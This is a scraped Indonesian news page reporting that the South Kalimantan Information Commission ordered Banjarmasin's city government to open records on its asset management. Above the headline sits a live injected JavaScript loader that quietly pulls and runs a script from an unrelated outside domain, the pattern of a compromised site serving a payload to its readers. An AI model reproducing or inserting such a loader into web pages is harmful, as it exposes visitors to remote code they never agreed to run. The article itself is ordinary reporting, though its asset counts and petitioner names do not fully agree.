(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Pemko Banjarmasin Kalah, Komisi Informasi Minta Buka Pengelolaan 7 Aset


BANJARMASIN, Komisi Informasi (KI) Kalimantan Selatan menjatuhkan putusan kepada Pemko Banjarmasin untuk membuka dokumen pengelolaan sejumlah aset dalam tempo 14 hari ke depan, terhitung mulai tanggal 18 Oktober ini. Putusan majelis ini atas aduan keterbukaan informasi dari Anang Rosadi dan Rahmat Nopliardi.

Putusan itu diketuk oleh Ketua Majelis KI Kalsel, Tamliha Harun, ketika sidang ajudikasi nomer register: 0026/REG-PSI/Juli 2018. Sidang digelar di ruang rapat Masjid Sabilal Muhtadin, Kamis (18/10).

Tamliha Harun mengatakan memberi waktu 14 hari untuk pihak termohon, Pemerintah Kota Banjarmasin segera menyerahkan dokumen ihwal status aset pemerintah kota yang diduga digunakan oleh pihak ketiga. Ia sudah menggelar rapat pleno sebelum mengetuk putusan sidang sengketa informasi.

“Jadi masing-masing pihak punya 14 hari untuk menentukan arah dari keputusan mereka. Dari pihak pemohon meminta kejelasan soal aset pemko, dan dari pihak pemko menyerahkan status aset tersebut untuk diminta kejelasan dari sisi hak, pengelola, dan pemakaian,” kata Tamliha.

Sementara mewakili termohon, Kadis Komunikasi Informatika dan Statistik Banjarmasin Hermansyah mengatakan pemko akan memenuhi permintaan pemohon setelah ada putusan KI. Ia memastikan pemerintah kota punya itikad baik, apalagi terkait hak rakyat atas akses informasi.

Sedari awal, ia mengatakan pemerintah kota punya itikad baik, termasuk akses informasi data tujuh item aset yang diminta oleh pemohon. “Kemudian dari pihak pemerintah akan membicarakan kembali sebelum 14 hari, akan kami selesaikan kejelasan dari aset pemko sesuai tuntutan dari pemohon,” ucapnya.

Sebelumnya, Rosadi dan Ahmad meminta kejelasan status aset atas 10 tempat milik Pemko Banjarmasin. Pemohon ingin tahu pengelolaannya, kewajiban, dan hak pemerintah terhakdap rakyat. Pemohon menduga ada hal ketidakwajaran terkait pengelolaan aset pemerintah kota oleh pihak ketiga yang seharusnya dikelola oleh pihak pemerintah sendiri.

Salah satu pemohon, Rosadi memaparkan 10 tempat itu adalah SPBU Zapri Zam Zam, BTC di Jalan Pramuka, Hotel Nasa Djok Mentaya, Pasar Sentra Antasari, Mitra Plaza, Ruko di Kayutangi, Metro City, Lahan Parkir dekat Ana Minimarket Kayutangi, dan Pasar Ujung Murung.


Page: 1 2

Desy Arfianty

Recent Posts

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

3 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

3 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

6 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

10 jam ago

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

18 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

19 jam ago

This website uses cookies.